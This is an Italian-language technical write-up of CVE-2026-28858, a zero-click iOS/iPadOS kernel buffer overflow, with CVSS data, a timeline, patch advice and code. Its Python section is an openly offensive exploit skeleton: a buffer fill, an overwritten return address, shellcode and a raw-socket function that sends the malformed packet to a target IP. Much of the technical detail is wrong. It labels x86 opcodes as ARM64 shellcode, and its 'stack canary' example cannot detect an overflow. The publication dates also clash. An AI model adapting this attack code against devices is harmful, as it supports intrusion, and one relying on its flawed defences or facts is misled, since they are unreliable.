
Analisi tecnica di CVE-2026-28858, un overflow del buffer critico nel kernel di Apple iOS/iPadOS, inclusi flusso di exploit, mitigazione ed esempi di codifica difensiva.
╔══════════════════════════════════════════════════════════════╗
║ SEVERITÀ: CRITICA │ CVSS: 9.8 │ CWE-120 │ REMOTO ║
╚══════════════════════════════════════════════════════════════╝
Un utente remoto può provocare la terminazione inaspettata del sistema o la corruzione della memoria del kernel su iOS/iPadOS senza interazione dell'utente né privilegi.
| Campo | Valore |
|---|
| CVE ID | CVE-2026-28858 |
| EUVD | EUVD-2026-15131 |
| Pubblicato | 25 marzo 2026 |
| Ultimo aggiornamento | 26 marzo 2026 |
| CVSS v3.1 | 9.8 / 10 — CRITICO |
| EPSS | 0.05% |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-120 — Copia di buffer senza verifica della dimensione |
| Stato | Analizzato — Patch disponibile |
Buffer Overflow in Apple iOS e iPadOS causato da un controllo dei limiti insufficiente nell'elaborazione degli input del kernel.
Impatto reale:
| Parametro | Valore | Descrizione |
|---|---|---|
| Vector di Attacco | Rete | Sfruttabile da remoto |
| Complessità | Bassa | Nessuna condizione speciale |
| Privilegi Richiesti | Nessuno | Nessuna autenticazione necessaria |
| Interazione dell'Utente | Nessuna | Zero-click |
| Scope | Invariato | Confinato al componente vulnerabile |
| Riservatezza | Alta | Accesso completo ai dati |
| Integrità | Alta | Modifica totale possibile |
| Disponibilità | Alta | Crash del sistema |
Non esiste un exploit pubblico per CVE-2026-28858. La seguente rappresentazione è concettuale, basata su CWE-120 e sul vector di attacco documentato.
# Rappresentazione concettuale dell'overflow
import socket
# 1. Riempimento del buffer allocato (~512 byte tipici negli handler del kernel)
buffer_fill = b"A" * 512
# 2. Indirizzo di ritorno sovrascritto — punta a una zona controllata dall'attaccante
# Su iOS/iPadOS reale: richiede bypass di ASLR + PAC (Pointer Authentication Codes)
return_address = b"\x41\x42\x43\x44"
# 3. Shellcode: NOP sled + istruzioni dannose per ARM64
shellcode = b"\x90" * 16 + b"\xeb\x12..." # NOP sled + payload
payload = buffer_fill + return_address + shellcode
# Consegna remota senza interazione dell'utente
# Esempio: pacchetto di rete con campo di lunghezza manipolato
import struct
def craft_malicious_packet(target_ip: str, target_port: int):
"""
Crea un pacchetto con metadati malformati che il kernel
di iOS elabora in background (senza UI dell'utente).
Es: certificato TLS, metadato di immagine, campo di protocollo di rete.
"""
# Intestazione legittima del protocollo
header = struct.pack(">HH", 0x0001, 0xFFFF) # type=1, length=OVERFLOW
# Payload che supera il buffer del kernel
malicious_data = header + payload
with socket.socket(socket.AF_INET, socket.SOCK_RAW) as s:
s.sendto(malicious_data, (target_ip, target_port))
[Rete/WiFi/BT] → Pacchetto malformato
↓
[Processo iOS in background] → Legge il campo "lunghezza" = 0xFFFF
↓
[memcpy(buffer_kernel, dati, 0xFFFF)] → SENZA VERIFICA DEI LIMITI
↓
[Overflow: shellcode scritto su stack/heap del kernel]
↓
[Processore reindirizzato al return_address dell'attaccante]
↓
[Esecuzione con ring 0 / privilegi di kernel]
/* ❌ CODICE VULNERABILE (prima della patch) */
void processa_input(char *dati_utente, size_t lunghezza) {
char buffer_kernel[512];
memcpy(buffer_kernel, dati_utente, lunghezza); // SENZA verifica
}
/* ✅ CODICE CORRETTO (iOS/iPadOS 26.4) */
void processa_input(char *dati_utente, size_t lunghezza) {
char buffer_kernel[512];
// Controllo dei limiti — fix applicato da Apple
if (lunghezza > sizeof(buffer_kernel)) {
kernel_log("CVE-2026-28858: input troncato [%zu > 512]", lunghezza);
return; // Interrompi prima di copiare
}
memcpy(buffer_kernel, dati_utente, lunghezza);
}
/* Meccanismo di difesa in profondità: Stack Canary */
#include <string.h>
#define CANARY_VALUE 0xDEADBEEFCAFEBABE
void processa_input_sicuro(char *dati_utente, size_t lunghezza) {
uint64_t canary = CANARY_VALUE;
char buffer_sicuro[512];
if (lunghezza > sizeof(buffer_sicuro)) {
log_security_event("Tentativo di overflow bloccato");
return;
}
memcpy(buffer_sicuro, dati_utente, lunghezza);
// Verifica dell'integrità del canary post-copia
if (canary != CANARY_VALUE) {
panic("Stack smashing rilevato — CVE-2026-28858");
}
}
Azione immediata richiesta:
Aggiornare a iOS 26.4 / iPadOS 26.4 o successivo
23 mar 2026 → Pubblicazione iniziale (EUVD)
24 mar 2026 → Advisory Apple #126792 pubblicato
24 mar 2026 → Prima menzione rilevata (Feedly)
24 mar 2026 → Stima CVSS tramite analisi automatica
25 mar 2026 → NVD assegna CVSS 9.8 — Critico
25 mar 2026 → Rilevamento aggiunto a Qualys (ID: 610773)
26 mar 2026 → Stato: Analizzato
Tutte le versioni di iOS e iPadOS precedenti alla 26.4, incluse:
Consultare l'elenco completo dei CPE interessati nella documentazione di riferimento.
| Fonte | URL |
|---|---|
| Apple Security Advisory | https://support.apple.com/en-us/126792 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-28858 |
| CWE-120 | https://cwe.mitre.org/data/definitions/120.html |
Disclaimer: Il codice presentato è esclusivamente una rappresentazione concettuale a scopo educativo e di ricerca difensiva. Non esiste exploit pubblico per CVE-2026-28858.